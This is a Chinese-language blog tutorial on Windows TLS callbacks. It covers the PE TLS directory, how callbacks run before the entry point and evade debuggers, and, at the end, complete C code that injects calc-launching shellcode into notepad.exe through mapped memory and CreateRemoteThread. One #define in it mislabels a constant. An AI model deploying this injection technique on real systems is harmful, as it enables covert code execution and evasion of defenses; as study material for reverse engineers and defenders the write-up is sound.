0%

TLSCallBack

TLS简介

TLS (Thread Local Storage 线程局部存储),是给定多线程进程中的每个线程可以分配存储线程特定数据的位置的方法。使用TLS技术可以在线程内部独立使用或修改进程的全局数据或静态数据, 就像对待自身的局部变量一样。( 用来将数据与一个正在执行的指定线程关联起来。)

TLS回调函数的调用要先于入口点(EP,entry point)代码的执行,而调试器通常默认在主函数入口点Main设置断点,因此常常被用作反调试手段使用。

如果开启TLS功能,PE文件头就会设置TLS表,在IMAGE_NT_HEADERS-IMAGE_DATA_DIRECTORY-DataDirectry[9]描述了 IAMGE_TLS_DIRECTORY结构体的位置。

1
2
3
4
5
6
7
8
9
typedef struct _IMAGE_TLS_DIRECTORY32 {   //SIZE:0x18h
DWORD StartAddressOfRawData; // TLS模版在内存中起始的VA
DWORD EndAddressOfRawData; // TLS模版在内存中结束的VA
DWORD AddressOfIndex; // TLS索引的位置 // PDWORD
DWORD AddressOfCallBacks; //执行TLS注册的回调函数的函数指针(地址)数组 // PIMAGE_TLS_CALLBACK *
DWORD SizeOfZeroFill; // 用于指定非零初始化数据后面的空白空间的大小
DWORD Characteristics; // 属性
} IMAGE_TLS_DIRECTORY32;
typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32;
img

TLS回调函数

TLS回调函数属于一种特殊的回调函数 其会在进程加载前、进程加载后、线程加载前、线程加载后执行。函数定义如下:

1
2
3
4
5
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) ( 
PVOID DllHandle, // 模块句柄
DWORD Reason, // Reason 遵循dll调用时相同的参数
PVOID Reserved // 保留
);

其中Reason取值为:

1
2
3
4
#define DLL_PROCESS_ATTACH 1    //进程/主线程启动
#define DLL_THREAD_ATTACH 2 //子线程启动
#define DLL_THREAD_DETACH 3 //子线程关闭
#define DLL_PROCESS_ATTACH 0 //主线程关闭

TLS使用

在VS中 可以直接使用编译器功能 设置TLS回调

1
2
3
4
5
6
7
#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used") // 指明使用TLS回调
#pragma comment (linker, "/INCLUDE:_tls_callback")
#else
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")
#endif

首先在编译器中声明TLS回调

注:x64下 _tls_used ,x86下 __tls_used x86下前面多一个__tls_callback 同理。

_tls_used 声明使用TLS回调 将在PE中创建一个 .tls的节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifdef _WIN64
#pragma const_seg(".CRT$XLB")
EXTERN_C const
#else
#pragma data_seg(".CRT$XLB")
EXTERN_C
#endif

//tls import
PIMAGE_TLS_CALLBACK thread_callback_base[] = { tls_callback_1, tls_callback_2, 0 }; // 设置TLS回调

#ifdef _WIN64
#pragma const_seg() //共享数据区
#else
#pragma data_seg()
#endif //_WIN64

随后设置TLS回调 节名 .CRT$XB 含义如下:

  • CRT 表示使用C Runtime机制
  • $X 表示随机标识
  • L 表示TLS CallBack Section
  • 最后的 B 可以替换为 B~Y 之间的任意一个字符

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "windows.h"
#include <stdio.h>

void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved);
//linker spec
#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used") // 指明使用TLS回调
#pragma comment (linker, "/INCLUDE:_tls_callback") // 强制编译器生成对thread_callback_base的引用,防止优化
#else
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")
#endif

#ifdef _WIN64
#pragma const_seg(".CRT$XLB")
EXTERN_C const
#else
#pragma data_seg(".CRT$XLB")
EXTERN_C
#endif
//end linker

//tls import
PIMAGE_TLS_CALLBACK _tls_callback = TLSCallbacks;

#ifdef _WIN64
#pragma const_seg()
#else
#pragma data_seg()
#endif //_WIN64

//end
// tls declaration

void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
MessageBoxA(NULL, (LPCSTR)"TLS Callback before main :)", (LPCSTR)"TLS Callback", 0);
ExitProcess(0);
}

// end declaration

int main(int argc, char* argv[])
{
printf("Main function but never be executed :(");
}
img

TLS拓展

由于TLS调用时 通常已经初始化了所有进程相关信息(DLL加载、PEB分配),所以理论上可以再TLS CallBack 函数中实现任意代码,可以通过TLS实现其他技术,如在TLS回调函数中实现Mapping Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#pragma comment (lib, "OneCore.lib")
#pragma comment(linker, "/section:.data,RWE")


void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved);
DWORD FindProcessID(LPCTSTR ProcessName);

#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used") // 指明使用TLS回调
#pragma comment (linker, "/INCLUDE:_tls_callback")
#else
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")
#endif

#ifdef _WIN64
#pragma const_seg(".CRT$XLB")
EXTERN_C const
#else
#pragma data_seg(".CRT$XLB")
EXTERN_C
#endif

//tls import
PIMAGE_TLS_CALLBACK _tls_callback = TLSCallbacks;

#ifdef _WIN64
#pragma const_seg()
#else
#pragma data_seg()
#endif //_WIN64

unsigned char CalcShellcode[] = {
0x48, 0x31, 0xff, 0x48, 0xf7, 0xe7, 0x65, 0x48, 0x8b, 0x58, 0x60, 0x48, 0x8b, 0x5b, 0x18, 0x48, 0x8b, 0x5b, 0x20, 0x48,
0x8b, 0x1b, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x5b, 0x20, 0x49, 0x89, 0xd8, 0x8b, 0x5b, 0x3c, 0x4c, 0x01, 0xc3, 0x48, 0x31,
0xc9, 0x66, 0x81, 0xc1, 0xff, 0x88, 0x48, 0xc1, 0xe9, 0x08, 0x8b, 0x14, 0x0b, 0x4c, 0x01, 0xc2, 0x4d, 0x31, 0xd2, 0x44,
0x8b, 0x52, 0x1c, 0x4d, 0x01, 0xc2, 0x4d, 0x31, 0xdb, 0x44, 0x8b, 0x5a, 0x20, 0x4d, 0x01, 0xc3, 0x4d, 0x31, 0xe4, 0x44,
0x8b, 0x62, 0x24, 0x4d, 0x01, 0xc4, 0xeb, 0x32, 0x5b, 0x59, 0x48, 0x31, 0xc0, 0x48, 0x89, 0xe2, 0x51, 0x48, 0x8b, 0x0c,
0x24, 0x48, 0x31, 0xff, 0x41, 0x8b, 0x3c, 0x83, 0x4c, 0x01, 0xc7, 0x48, 0x89, 0xd6, 0xf3, 0xa6, 0x74, 0x05, 0x48, 0xff,
0xc0, 0xeb, 0xe6, 0x59, 0x66, 0x41, 0x8b, 0x04, 0x44, 0x41, 0x8b, 0x04, 0x82, 0x4c, 0x01, 0xc0, 0x53, 0xc3, 0x48, 0x31,
0xc9, 0x80, 0xc1, 0x07, 0x48, 0xb8, 0x0f, 0xa8, 0x96, 0x91, 0xba, 0x87, 0x9a, 0x9c, 0x48, 0xf7, 0xd0, 0x48, 0xc1, 0xe8,
0x08, 0x50, 0x51, 0xe8, 0xb0, 0xff, 0xff, 0xff, 0x49, 0x89, 0xc6, 0x48, 0x31, 0xc9, 0x48, 0xf7, 0xe1, 0x50, 0x48, 0xb8,
0x9c, 0x9e, 0x93, 0x9c, 0xd1, 0x9a, 0x87, 0x9a, 0x48, 0xf7, 0xd0, 0x50, 0x48, 0x89, 0xe1, 0x48, 0xff, 0xc2, 0x48, 0x83,
0xec, 0x20, 0x41, 0xff, 0xd6
};

DWORD PID;
void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;

int PID = FindProcessID(L"notepad.exe");

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(CalcShellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(CalcShellcode));

memcpy((PVOID)lpMapAddress, CalcShellcode, sizeof(CalcShellcode));

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (!hProcess) {
printf("OpenProcess Error:%d\n", GetLastError());
return -1;
}
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
if (!lpMapAddressRemote) {
printf("MapViewOfFile2 Error:%d\n", GetLastError());
return -1;
}
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
if (!hRemoteThread) {
printf(" CreateRemoteThread Error:%d\n", GetLastError());
return -1;
}
UnmapViewOfFile(lpMapAddress);
CloseHandle(hMapping);
}

MessageBoxA(NULL, (LPCSTR)"TLS Callback before main :)", (LPCSTR)"TLS Callback", 0);
ExitProcess(0);
}

DWORD FindProcessID(LPCTSTR ProcessName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, (const wchar_t*)ProcessName))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}

int main(int argc, char* argv[])
{
printf("Main function but never be executed :(");
}

使用Unicode字符集 不然找不到PID..

References

https://idiotc4t.com/code-and-dll-process-injection/tls-code-execute

https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1055-process-injection/thread-local-storage

https://medium.com/@aragornSec/thread-local-storage-197f9a3f4fe3

https://learn.microsoft.com/en-us/windows/win32/procthread/thread-local-storage

https://lzeroyuee.cn/old-blog/TLS%E5%9B%9E%E8%B0%83%20-%20lZeroyuee's%20Blog.html

https://bbs.kanxue.com/thread-267175.htm#msg_header_h1_4

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------